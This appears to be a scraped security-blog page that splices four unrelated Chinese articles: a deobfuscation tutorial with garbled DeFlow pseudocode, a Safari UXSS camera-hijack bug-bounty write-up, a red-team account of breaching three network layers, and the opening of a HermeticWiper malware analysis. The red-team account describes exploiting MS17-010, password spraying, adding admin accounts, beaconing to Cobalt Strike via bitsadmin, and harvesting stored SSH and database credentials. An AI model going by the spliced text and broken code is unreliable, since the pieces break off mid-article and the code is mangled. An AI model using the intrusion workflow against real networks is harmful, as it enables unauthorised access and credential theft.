Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115589

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

現代軟件經常將混淆技術作為其反篡改策略的一部分,以防止黑客逆向分析軟件的關鍵組件。他們經常使用多種混淆技術來抵禦黑客的攻擊,這有點像滾雪球:隨著雪層的增多,軟件規模也隨之變大,使其逆向分析難度隨之提高。

在這篇文章中,我們將仔細研究兩種常見的混淆技術,以了解它們是如何工作的,並弄清楚如何去混淆。

概述這裡,我們將研究以下混淆技術:

基於IAT導入表的混淆技術

基於控制流的混淆技術

基於IAT導入表的混淆技術在深入介紹基於IAT導入表的混淆方法之前,先讓我解釋一下導入表到底是什麼。

什麼是導入函數?當進行逆向分析時,需要弄清楚的第一件事,就是它如何調用操作系統的函數。在我們的例子中,我們將重點關注Windows 10系統,因為大多數視頻遊戲只能在Windows系統上運行。無論如何,對於那些還不知道的人來說,Windows提供了一系列重要的動態鏈接庫(DLL)文件,幾乎每個Windows可執行文件都會用到這些庫文件。這些DLL文件中保存了許多函數,可以供Windows可執行文件“導入”,使其可以加載和執行給定DLL中的函數。

1.png

它們為何如此重要?例如,Ntdll.dll庫負責幾乎所有與內存有關的功能,如打開一個進程的句柄(NtOpenProcess),分配一個內存頁(NtVirtualAlloc,NtVirtualAllocEx),查詢內存頁(NtVirtualQuery,NtVirtualQueryEx),等等。

另一個重要的DLL庫是ws2_32.dll,它通過以下函數處理各種網絡活動:

Socket

Connect/WSAConnect

Send/WSASend

SendTo/WSASendTo

Recv/WSARecv

RecvFrom/WSARecvFrom

現在讀者可能會問,知道這些有什麼意義呢?好吧,如果您把一個二進製文件扔到像IDA這樣的反彙編器中(我通常會做的第一件事),就是檢查所有導入的函數,以便對二進製文件的功能有一個大致的了解。例如,當ws2_32.dll存在於導入表中時,表明該二進製文件可能會連接到Internet。

現在,我們可能想要進行更深入的研究,並考察使用了哪些ws2_32.dll函數。如果我們使用Socket函數並找出它的調用位置,我們就可以檢查它的參數,這樣,我們就可以通過搜索引擎查找相應的函數名,從而輕鬆地找出它所使用的協議和類型。

1.png

注意:IDA已自動向反彙編代碼中添加了註釋。

經過混淆處理的導入表無論如何,這些Windows函數能提供相當多的信息,因為它們是有據可查的函數。因此,攻擊者希望能夠把這些函數藏起來,以掩蓋正在發生的事情。

我們在反彙編器中看到的所有這些導入函數都是從導入地址表(IAT)加載的,該表在可執行文件的PE頭文件中的某個地方被引用。一些惡意軟件/遊戲通常試圖通過不直接指向DLL函數來隱藏這些導入地址。相反,他們可能會使用一個蹦床或迂迴函數。

考察我們的示例在這個例子中,我們使用的是一種蹦床式混淆技術,具體如下所示:

1.png

下面的地址0x7FF7D7F9B000引用了我們的函數0x19AA1040FE1,儘管看起來完全不是這麼回事。您可能認為這是垃圾代碼,但仔細看看,您會發現並非如此。

請仔細查看前兩個指令:前面的指令是mov rax, FFFF8000056C10A1,後面的指令是jmp 19AA1040738,後面的都是垃圾指令。不管怎樣,讓我們跟隨跳轉指令,看看它會跳到哪裡:

1.png

看,又是4個有效的指令,這次是一個異或指令和兩個加法指令,然後是另一個跳轉指令。讓我們把這個過程再重複幾遍.

1.png

1.png

最後,我們來到jmp rax指令!需要注意的是,所有的XOR、SUB和ADD指令都是在Rax寄存器上執行的,這意味著它可能包含導入函數的實際指針。下面,讓我們算算看。

1.png

實際上,在經過數學運算之後,我們得到了指向advapi32.regopenkeyexa的指針!

1.png

現在,我們所要做的就是重複幾百次運算,從而徹底消除針對IAT導入表的混淆處理。

基於IAT的自動去混淆處理我想,沒有人喜歡用計算器手工重複上述過程,做一次已經很煩了。從現在開始,我們將使用C#實現自動計算。正如您可能已經看到的,我們只需要處理在同一個寄存器上執行的ADD、SUB和XOR操作。原因是Rax被用作返回地址,而諸如Rcx、Rdx、R8、R9和其他寄存器對於被調用方來說是不安全的,並且可能與調用約定衝突。這意味著,我們甚至不需要使用反彙編器,因為我們可以很輕鬆地區分這些指令,這要歸功於涉及的寄存器和操作碼寥寥無幾。

到此為止,我們已經詳細解釋了混淆處理技術。接下來,大家不妨以Unsnowman項目中的importfix.cs為例,來了解與去混淆處理相關的代碼。

基於控制流的混淆技術在逆向分析二進製文件時,另一個有價值的信息來源是彙編指令本身。對於人類來說,它們可能難以理解,但對於像IDA這樣的反編譯器來說,我們只需按下F5鍵,IDA就會生成我們人類可以理解的偽代碼。

混淆實際指令的一個簡單方法,是組合使用垃圾代碼和不透明分支(即該分支條件總是為不成立,也就是說,該分支用於也不會被執行)。這意味著:把垃圾代碼放在一個分支指令之後。訣竅在於,我們可以使用條件轉移,但是,要確保條件永遠為真,這樣分支就會一直被執行。反彙編器不知道的是,條件跳轉在運行時總是為真,這使得它相信條件跳轉的兩個分支都可以在運行時到達。

好吧,如果還不太明白的話,可以藉助下面的截圖來加深理解。第一張截圖顯示的是落到另一條指令中的jbe。

1.png

注意:用紅色標記的字節是垃圾代碼。

現在仔細看看下面的第二張圖片,我在這裡所做的只是NOP最後一條指令的兩個字節,以便讓IDA顯示隱藏在and [rdx+24448B48h], bh指令後面的指令。

1.png

我們也可以用無條件跳轉來修補條件跳轉,以確保IDA不會再次上當。

在我們繼續之前,我想展示最後一個例子,因為前面的例子太簡單了。當我們將這些實現混淆處理的跳轉鏈接起來時,事情就變得複雜起來,具體如下圖所示。

1.png

然而,這張圖只顯示了它在控制流方面造成的混亂,但想像一下,當IDA竭盡全力根據垃圾指令創建這張圖時,我的CPU是多麼的痛苦。

現在,您可能想知道去混淆後的函數到底是什麼樣子的,別急,請看下圖!

1.png

看到我在左邊畫的那個藍色小箭頭了嗎?右邊顯示的就是這部分內容的放大版本。現在看一下右邊,在函數的一小部分中就有七個去混淆的跳轉。想像一下,以手動或半自動方式去混淆得需要多少時間。實際上,就算用IDA腳本手工完成這個過程,也花了我40分鐘……這還只是處理了一個函數。設想一下,為了找到真正要找的東西,還得需要處理多少其他的函數呢?

基於控制流的自動去混淆技術好了,現在我們已經考察了基於控制流的去混淆原理,接下來,我們將對這個過程實現自動化。正如我之前提到的,我們曾經用IDA腳本來修補無條件跳轉指令,並將垃圾指令替換為NOP指令。

然而,這個去混淆過程還是花了我40分鐘,因為識別不透明的分支非常費勁。那麼,我們該如何解決這個問題呢?大家可能認為應該檢查每一個條件跳轉指令,並檢查它是否是不透明的,如果是的話,就用NOP替換它,然後重複上述過程,對吧?錯了!

讓我告訴你一個秘密,我們並不關心什麼是不透明的,或諸如此類的事情。我真正關心的是,當我按下F5鍵時,IDA能否返回反編譯好的代碼——只要這些經過混淆的跳轉指令導致垃圾指令與實際的彙編指令發生衝突,這種情況就不會發生。

但這是否意味著我們需要弄清楚一個條件跳轉是否是不透明的呢?不,我們只需檢查跳轉操作是否與現有的指令相衝突,如果是的話,就對這個指令進行相應的修改,就像我們第一個例子中看到的那樣。

DeFlow去混淆算法現在,我們知道瞭如何解決這個問題,下面,我們開始深入研究本人想出的算法,以便對用這種混淆技術處理的內容進行去混淆。

List

//Bufferisacopyofthe.textsection

functionDeflow(byte[]buffer,ulong[]functions)

for(inti=0;ifunctions.Length;i++)

do

intnewDiscovered=0;

List

while(chunks.Count!=0)

List

foreach(varcinchunks)

newChunks.AddRange(DeflowChunk(buffer,c));

newDiscovered+=chunks.Count;

chunks=newChunks;

while(newDiscovered!=0)

functionDeflowChunk(address)

List

//63thbitindicatesifthisaddresswasextractedfromanegativejumpornot

boolisNegative=address63==1;

address=163;

//Checkifalreadydiscovered

if(_alreadyDiscovered.Contains(address))

returnnewChunks;

_alreadyDiscovered.Add(address);

ulonglastBranch=0;//Indicatesourlastconditionaljumpaddress

ulonglastBranchSize=0;//Sizeofthelastconditionaljumpaddress

ulonglastTarget=0;//Targetlocationofthelastconditionaljump

intstepsLeft=0;//Steps(bytes)lefttoreachlastTargetfromcurrentaddress

//UsageofSharpDisasm

vardisasm=newDisassembler(buffer,address-base);//NOTE:base=BaseAddress+.textoffset

foreach(varinsnindisasm.Disassemble())

ulongtarget=0;

ulonglastAddrStart

boolisJmp=true;

switch(insn.Mnemonic)

//StopanalysingwhenweencounterainvalidorreturninstructionwhilewehavenolastTarget

caseud_mnemonic_code.Invalid:

caseud_mnemonic_code.Ret:

if(lastTarget==0)

returnnewChunks;//OnlyacceptwhennolastTargetaswemaybelookingatjunkcode

break;

caseud_mnemonic_code.ConditionalJump://allconditionaljumps

if(lastTarget==0)

target=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction

if(!isInRange(target))//HelpertoseeiftargetaddressislocatedinourBuffer

isJmp=false;

break;

//Checkifinstructionisbiggerthen2,ifsoitwontbeobfuscatedbutwe

//dowanttoanalysethetargetlocation

if(insn.Length2)

isJmp=false;

newChunks.Add(target);

break;

else

isJmp=false;//Donotthisconditionaljumpacceptwhilewealready

//haveatarget(mightbelookingatjunkcode)

break;

caseud_mnemonic_code.UnconditionalJump:

caseud_mnemonic_code.Call:

if(lastTarget==0)

ulongnewAddress=calcTargetJump(insn);//Helpertoextractjumplocationfrominstruction

if(!isInRange(newAddress))

isJmp=false;

break;

//AddtargetandnextinstructionIFnotJMP(CALLdoesreturn,JMPnot)

if(insn.Mnemonic==ud_mnemonic_code.Call)

newChunks.Add(address+insn.PC);

//Addinstructiontargetforfurtheranalyses

newChunks.Add(newAddress);

returnnewChunks;

break;

//quickmafs

ulonglocation=(address+insn.Offset);

stepsLeft=(int)(lastTarget-location);//OnlyvalidifwehavealastTarget!

//SetupanewtargetifcurrentinstructionisconditionaljumpwhilethereisnolastTarget

if(lastTarget==0isJmp)

lastBranch=loction;

lastBranchSize=insn.Length;

lastTarget=target;

elseif(stepsLeft=0lastTarget!=0)

//ifstepsLeftisn'tzerothenourlastTargetislocatedslighltaboveus,

//meaningthatwearepartlylocatedinsidethepreviousinstructionandthuswearehidden(obfuscated)

if(stepsLeft!=0)

intcount=lastTarget=lastBranch;//calculatehowmuchbytesweareinthenextinstruction

if(count0)

//makingsureweareapositivejump

intbufferOffset=lastBranch-base;//subtractbasefromoutaddresssowecanwritetoourlocalbuffer

//NOPslideeverythingexceptourowninstruction

if(inti=0;icount-lastBranchSize;i++)

buffer[bufferOffset+lastBranchSize+i]=isNegative?0x90:0xCC;//WeuseNOPfornegativejumps

//andint3forpositive

if(!isNegative)

buffer[bufferOffset]=0xEB;//ForceunconditionalJump

//addnextinstructionforanalysesandexitcurrentanalysis

newChunks.Add(lastTarget);

returnnewChunks;

else

//weareanegativejump,set63thbittoindicatenegativejump

lastTarget=|=163;

//addtargetto

本文我們將介紹通過Safari UXSS 獲得未經授權的攝像頭訪問權限,以及如何進一步利用一個共享iCloud 文檔攻擊你訪問過的每個網站。

1.webp.jpg

本次是利用發現的Safari中的7個0 day漏洞(CVE-2020-3852,CVE-2020-3864,CVE-2020-3865,CVE-2020-3885,CVE-2020-3887,CVE-2020-9784和CVE- 2020-9787),其中三個用於構造利用鏈劫持訪問攝像頭。

簡而言之,該漏洞使蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來實現劫持。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。

而在本次嘗試中。我成功地利用了iCloud Sharing和Safari 15的一系列漏洞,來獲得了未經授權的攝像頭訪問權限。雖然這個漏洞確實需要受害者點擊“打開”從我的網站彈出的窗口,但它導致的不僅僅是多媒體權限劫持。這一次,該漏洞使攻擊者可以完全訪問受害者曾經訪問過的每個網站。這意味著除了打開你的攝像頭之外,我的漏洞還可以破解你的iCloud、PayPal、Facebook、Gmail 等帳戶。

本次共使用了4個發現的0 day漏洞(CVE-2021-30861、 CVE-2021-30975, 另外2個並沒有CVE),其中2 個被用於黑入攝像頭。我已向蘋果報告了這個漏洞鏈條,並獲得了100500美元的賞金。

2.webp.jpg

背景介紹蘋果通過增加攝像頭訪問的難度,修復了我上一次報告的漏洞鏈(CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865)。在這次賞金計劃中,該漏洞鏈會讓蘋果認為惡意網站實際上是值得信賴的網站,它通過利用Safari如何解析URI,管理WebOrigin以及初始化Secure_Contexts的一系列漏洞來做到這一點。如果惡意網站將這些漏洞利用串在一起,則可以使用JavaScript 直接訪問受害者的網絡攝像頭,而無需徵求許可。任何具有創建彈窗功能的JavaScript代碼都可以發起此攻擊。 iOS和macOS中的攝像頭安全模型非常嚴格,簡而言之,必須為每個應用程序明確授予攝像頭/麥克風許可,這由操作系統通過標準警報框處理。但是這個規則有一個例外。蘋果自己的應用程序可免費使用攝像頭,因此,Mobile Safari從技術上無需詢問即可訪問攝像頭。此外,諸如MediaDevicesWeb API(通常用於WebRTC傳輸)之類的新網絡技術使網站可以利用Safari的許可直接訪問攝像頭。但當時蘋果認為此漏洞屬於“無用戶交互的網絡攻擊:對敏感Data的零點擊未授權訪問” 類別, 並獎勵了我75000美元。

現在多媒體訪問只允許協議為“https:”,並且域匹配你保存的設置。這意味著巧妙地格式漏洞的URI 將不再適用,之前我專門講了file:我使用的下一個方案是file:該方案不包含有意義的主機名,我深入探究RFC,實際上偶然發現了file: URI的一個變化中確實包含主機名的URI。這種URI實際上指定了一個遠程服務器,類似於FTP,但是此規範未定義對存儲在遠程計算機上的文件的檢索機制,搜索了一段時間後,我找不到任何實際上支持這種的URI類型的用戶代理。

file://host.example.com/Share/path/to/file.txt出於好奇,我檢查了Safari如何在內部解析普通文件URI。

加1.png

果然主機名為空,接著我使用JavaScript指定主機,看看會發生什麼。

加2.gif

該頁面竟將該URI視為有效,並重新加載了相同的內容。這意味著我只是使用了一個技巧就更改了document.domain(CVE-2020-3885)。

果然,Safari認為在skype.com上,可以加載一些惡意的JavaScript。當你打開本地HTML文件時,攝像頭,麥克風和屏幕共享都會受到損害。 Safari似乎也使用這種惰性主機名解析方法來填充密碼的自動完成功能,因此,如果你接受自動完成功能,就可以竊取純文本密碼。

加3.png

此攻擊需要受害者打開本地HTML文件。另外,它在iOS上不起作用,因為通過Mobile Safari下載的本地文件在沒有JavaScript引擎的情況下以預覽樣式的嵌入式視圖顯示。

現在我們需要真正將我們的惡意代碼注入目標源,換句話說,我們需要找到一個通用跨站腳本(UXSS) 漏洞。

那麼UXSS與通常的XSS區別是什麼?因為同源策略,即使一個漏洞頁面存在XSS,我們可以訪問用戶會話信息卻無法訪問其他域的相關的會話信息,而因為UXSS是利用瀏覽器本身或者瀏覽器擴展程序的漏洞,所以對於攻擊發起時瀏覽器打開或緩存的所有頁面(即使不同域的情況)的會話信息都可以進行訪問。簡單的說,UXSS不需要一個漏洞頁面來觸發攻擊,它可以滲透入安全沒有問題的頁面,從而創造一個漏洞,而該頁面原先是安全無漏洞的。

因為UXSS攻擊不需要頁面本身存在漏洞,同時可能訪問其他安全無漏洞頁面,使得UXSS成為XSS裡危險和最具破壞性的攻擊類型之一。

同樣,我們可以建立一個網站,它可以跳轉到https://zoom.com打開攝像頭,跳轉到https://paypal.com轉賬,並劫持https://gmail.com來竊取電子郵件。

在繼續之前,我應該澄清一個事情。本文講的這個漏洞與我的上一篇講的Safari攝像頭被攻擊到底有什麼不同?該漏洞會專門針對存儲的多媒體權限。它沒有給我在任意原點上執行代碼的能力。查看我的攻擊圖,看看哪些來源被使用。換句話說,本文的攻擊鏈只會讓我利用Skype的攝像許可,但不會讓我竊取Skype的cookie。

首先讓我們嘗試在Safari最新版本(撰寫本文時為Safari v15 beta版)中找到一個UXSS漏洞。和往常一樣,第一步首先是要做大量的研究。

攻擊計劃在閱讀了大量關於Safari UXSS漏洞補丁的文章後,我決定將研究重點放在webarchive 文件上。 webarchive 文件是Mac 系統Safari 瀏覽器的存檔文件,是保存網頁內容的特殊文件格式Mac OS X 系統帶有文件轉換功能,可以把webarchive 文件變成html 文件。當用戶在本地保存網站時,這些文件是由Safari創建的,作為HTML的替代品。

3.webp.jpg

Safari瀏覽器將網站保存為webarchival文件

這些文件的一個令人吃驚的特點是,它們指定了內容應該呈現的網絡來源。

4.webp.jpg

Webarchive文件格式

這是一個很棒的技巧,可以讓Safari重建保存的網站的上下文,但正如Metasploit開發者在2013年指出的那樣,如果攻擊者能夠以某種方式修改這個文件,他們就可以有效地實現設計好的UXSS。

根據Metasploit 的說法,蘋果並不認為這種攻擊場景真的可以實現,因為“webarchive必須由客戶端下載並手動打開。”當然,這個決定是在近十年前做出的,當時瀏覽器安全模型還沒有今天那麼成熟。

蘋果決定支持這種超級強大的文件類型,這樣攻擊就會嘗試在受害者的設備上強行打開它們。攻擊可以分為兩個步驟:

1.強行下載一個惡意的webarchive 文件;

2.強行打開它;

直到最近,還沒有任何保護措施來阻止第一步。在Safari 13之前,網站在下載任意文件之前甚至不會向用戶顯示任何警告。所以植入webarchive文件很容易。自從出現了Safari 13以上的版本,每次下載前都會提示用戶。

而強行打開wearchive文件則更加困難,但仍然可以通過以某種方式導航到file://URI 方案來管理。當Safari的存在漏洞頁面出現在file://scheme中時,就會發現如何故意調用漏洞頁面來改變它的路徑名,這種攻擊方法被戲稱為“Errorjacking”,先後出現過兩種變體(1,2)。另一種在當時有效的方法是簡單地將標記設置為file://。

但到了2022年,該技巧就不靈了。不僅默認情況下會阻止自動下載,而且webarchive文件被macOS Gatekeeper認為是惡意應用程序。這意味著用戶甚至不能自己手動打開國外的webarchive。目前,蘋果似乎已經改變了他們在2013年對這些文件有多危險的看法。

5.webp.jpg

Safari 13以上版本中的下載提示

6.webp.jpg

Gatekeeper預防策略

儘管如此,webarchive文件看起來還是太有趣了,讓人無法放棄。讓我們來探索一下,這種老式的攻擊攻擊方式是如何在最新的Safari 和macOS 版本上發生的。

探索自定義URI 方案通過深入研究IANA 註冊的官方URI 方案,我在上一個Safari 攝像頭攻擊項目中取得了成功。該項目在很大程度上受到RFC 和公共文檔的指導。但是我忽略了整個自定義URL 方案的世界。這些非官方和大部分未記錄的方案通常被第三方iOS/macOS 應用程序用作深度鏈接的一種形式。

有趣的是,Apple Help Viewer (help://)、FaceTime (facetime-audio://) 和Apple Feedback (applefeedback://) 等多個系統應用程序也支持自定義URI 方案。在Safari 的網站上濫用這些方案並不是一種新技術。事實上,一段時間以來,攻擊一直在尋找使用自定義方案來啟動並利用其中的漏洞系統應用程序的方法。攻擊範圍包括煩人的撥打電話、協助社會工程到任意文件執行。

為了幫助對抗這些攻擊,Safari 的現代版本會在盲目啟動輔助應用程序之前警告用戶。也就是說,除非它們是Blackhat 演示中確定的硬編碼異常之一。

7.webp.jpg

Safari 將在沒有提示的情況下啟動的自定義URI 方案

所有這些方案都在Launch Services 中註冊,因此你可以通過以下命令列出它們:

/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister-dump|grep-B6bindings:*:|grep-B6apple-internal在仔細研究了蘋果的內部方案後,並將它們與Safari信任的方案進行交叉比對後,我發現了一個吸引我眼球的方案——“icloud-sharing:”。這個方案似乎是由一個名為“ShareBear”的iCloud共享應用程序註冊的。

8.webp.jpg

關於icloud-sharing的LaunchServices數據

我對ShareBear很感興趣,因為分享iCloud文件似乎是下載和發布webarchive文件的可行途徑。我找不到任何關於這個計劃的公開文檔或研究,所以我就自己開始研究它。

前言

一次攻防演练中首先是团队拿到了一个 Webshell ,后续又把权限弹到了 CobaltStrike 方便我来做内网渗透:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过发现当前机器是一台公网服务器,只有公网 IP:xxx.xxx.xxx.16

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查看 arp 缓存发现当前是有一些公网机器的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过查询这些 IP 发现是"某网络",而且通过 Nbtscan 发现当前 C 段有主机存活:(初步判断当前 C 段机器有可能存在域,但不确定)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

对当前第一层内网机器 C 段进行横向移动

由于是攻防演练,拿到越多的分数越好,在这里就不考虑一些其他问题,拿到当前机器后我抓到了明文密码:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

但是通过此密码去利用 MSF 对 C 段进行密码喷洒发现没有一台主机被成功横向出来:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

就在这个时候我又扫了一下看看有没有 MS17010:(一般来说向这种"某某网"基本上都有几台存在永恒之蓝,所以直接去扫就行)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现 92、151、200 这三台是存在 MS17010 的,随后打了 92 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后 MSF 和 CS 联动,我把 MSF 的 shell 又弹到了 Cs,并且做了权限维持:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候其实用这两台跳板机器就够了,另外两台存在 MS17010 没必要继续打,随后我对当前 C 段进行信息搜集,对 Web 资产进行扫描存活发现大量 Web 资产:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过手工分析发现一枚 SQL 注入,而且是 DBA 权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后添加了一个管理员用户然后开启了 3389 (因为有诺顿,常规免杀没时间弄了,主要拿分,索性直接登录服务器)

而且直接通过 socks 连接不了,感觉是做了限制,后续发现使用 mstsc /admin 是可以登录的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候我用 92 这台机器当作跳板远程登录到 71 桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时重新登录之前添加的账号到远程桌面就是 administrator 的桌面了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过一系列的信息搜集并且翻密码,拿到了 Mssql 和所有旁站的权限:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已搜集到的密码去对 C 段继续密码喷洒成功喷洒出 C 段的一台 Mssql:xxx.xxx.xxx.239

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后续直接调用 XP_cmdshell 执行命令,发现权限还很大:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后直接利用 bitsadmin 上线到 cs:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时已经拿到了:16、92、239 这三台机器的权限,但是还没有发现有内网,这个时候就陷入了瓶颈。

搞到这里发现横向不了,其他 Web 又不想用 0day 打,回过头来用 MS17010 打下了 200 这台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后通过同样的方式把 shell 弹到了 CS 并且添加了用户而且加入远程桌面组:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

随后登录发现登录失败:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

这个时候利用 mstsc /admin 可以绕过并成功登录到目标远程桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

同样的方式克隆了 administrator 的桌面:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过信息搜集翻文件我发现了大量有价值的东西,比如 mstsc 登录记录:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

拿到 navicat 数据库凭证:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且发现 Xshell 里面有很多台 SSH:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

里面所有 Linux 主机都可被登录,这个时候只需要利用 SharpDecryptPwd 把它们的密码抓下来就好,但是发现出问题了:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

后面用这玩意查看了密码:(本来不想用这几把玩意的,太麻烦得一个个的去查看密码)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

发现有几台机器有 10 的内网:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过已有的密码再去横向喷洒了一下 C 段的 Linux 主机:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后弹了几个 Shell 到 MSF:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

至此这个公网的 C 段基本上已经穿了,大量核心数据库、交换机、Web服务器都拿下,接下来就是对 10 的内网进行内网渗透。

来自第二层内网 10 段的内网渗透

因为我已经拿到了 root 的密码,我直接扫了一下 10.10.10.1/16 的 B 段,有一大波资产,这里就不截图了,有几百个,其中发现有 ESXI:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

并且拿到了一个门禁系统:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

通过特殊手段横向移动拿下了 10 段的两台 SSH,并且发现有第三层内网是 192 段、还有 docker 环境:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

由于 10 段有 ESXI ,我直接利用漏洞拿到了 ESXI 云平台,旗下所有机器都被控:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

此时 10 段基本上已经穿了,接下来就是对 192 的内网进行渗透。

来自第三层内网 192 段的内网渗透

通过常规 fscan 简单扫了一下 192 段,发现 192 资产也很肥:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

然后又发现 MS17010 漏洞两台:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

现在梳理梳理梳理关系了,当前环境是这样的:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

 
原文链接:https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247491421&idx=1&sn=769d715d05057112eb4ee1ebb8312e37&chksm=c172c541f6054c571e482d4283f946625f2689ec6214e9d47a61c66399ee7d2cd2a62c0de464&scene=123&key=f3d6282f44b990e0f2527af4db8e088f25f3e43d0abaf5f845ff52e14965e4fe188c89081cfd1f78925d46f3773aa2e74a47694f65db45695689fdd967c2c09337cb5405c40efe99f3eb546fc97abca96d5ff3818c9a7530e4acc9a4e5d882040400173a797499538a59659384656bc3ebcc665e0a0c437c54b0a25452e6ce44&ascene=14&uin=MTc3NzQzNDgzMQ%3D%3D&devicetype=Windows+10+x64&version=6309001c&lang=zh_CN&countrycode=CN&exportkey=n_ChQIAhIQ3pDdiz1MC4F99DsGfx2v5BL0AQIE97dBBAEAAAAAADHyJqWLbaIAAAAOpnltbLcz9gKNyK89dVj07Lq3ukZca%2FkGn9mZ1m3mR4X82v32Zct1B2kfTB%2BQWna3aR3DhlMUQvvT3Z2sxfB9OUECYQoL2A5oAR5FOuDqlNc%2FQnrjkFyvrHh031cA5N0cUT4RO2kT%2B56Q2pBiEsL7ziwAdFczUCCRk9OW7sxmCEBUAd%2BI86xc%2FAPPLFRk3akMyXxiozAYLRujrimNRkLpFymtdYxpwqugIkLAWKp3X%2Fn6cL4bGQvrReToG01rCHpQQPakFsS%2BoSm63vyyJ7cpmwybCp7ze9nIH1UdpOc%3D&acctmode=0&pass_ticket=dS7P%2Bn8WaPCzHJxyD5pizreTrBJbMLZFV9J36NJ7%2Fmx2byCsxnyK2ySPe%2BM9YvvFwWh7tiUQ78aV%2FVvJTCaQeg%3D%3D&wx_header=1&fontgear=2


上個月的時候,人們新發現了一個數據擦除型惡意軟件,它被命名為“HermeticWiper”,因為其數字證書是盜取自一家名為Hermetica Digital Ltd的公司。這個擦除器的顯著特點是能夠繞過Windows的安全功能,並獲得對磁盤上許多低級數據結構的寫入權限。此外,攻擊者還想把磁盤上的文件分割成碎片並覆蓋它們,使其無法恢復。

在我們分析這個數據擦除器的時候,其他的研究報告也陸續發布,詳細說明了這個攻擊活動中使用的其他組件,包括一個蠕蟲和典型的勒索軟件,幸好該軟件的實現質量不高,很容易進行解密。

在本文中,我們將針對目前已經獲取的惡意樣本,對其進行深入的考察分析。

行為分析首先,我們看到的是一個32位Windows可執行文件,其圖標類似於一個禮物。實際上,這並不是攻擊者的冷笑話,而只是Visual Studio GUI項目的一個標準圖標。

1.png

HermeticWiper使用的圖標

這款惡意軟件必須以管理員身份運行才能工作,而且沒有提供任何UAC繞過技術。稍後我們會發現,這個樣本的名稱也會(稍微)影響其功能;如果名稱以“c ”開頭(或以“C”開頭,因為它被自動轉換為小寫),那麼,系統在執行後將重新啟動。

一旦運行,該樣本就會在後台悄悄地“工作”。如果不借助其他工具的話,我們很難發現任何可疑的東西。

只有當我們使用像Process Explorer這樣的工具觀察這個樣本時,我們才能注意到一些不尋常的行為——它會調用各種IOCTL,並且都與檢索磁盤的細節有關。

1.png

通過ProcessMonitor觀察HermeticWiper時,發現其執行的動作

……其中包括FSCTL_GET_RETRIEVAL_POINTERS和FSCTL_MOVE_FILE,這些貌似都與文件的碎片整理有關。請注意,在文件系統中,文件有時並不是保存在一個連續的塊中(就像我們在高級別的文件中看到的那樣),而是分佈在磁盤的各個扇區中的多個塊中。碎片整理與合併這些塊有關,而碎片化則與分割這些塊有關。

1.png

然而,進一步的研究表明,這裡的效果與碎片整理相反。事實上,由於惡意軟件的緣故,數據變得更加碎片化。

在惡意軟件執行前後,有關數據碎片的磁盤狀態如下圖所示:

1.png

執行前的磁盤狀態

1.png

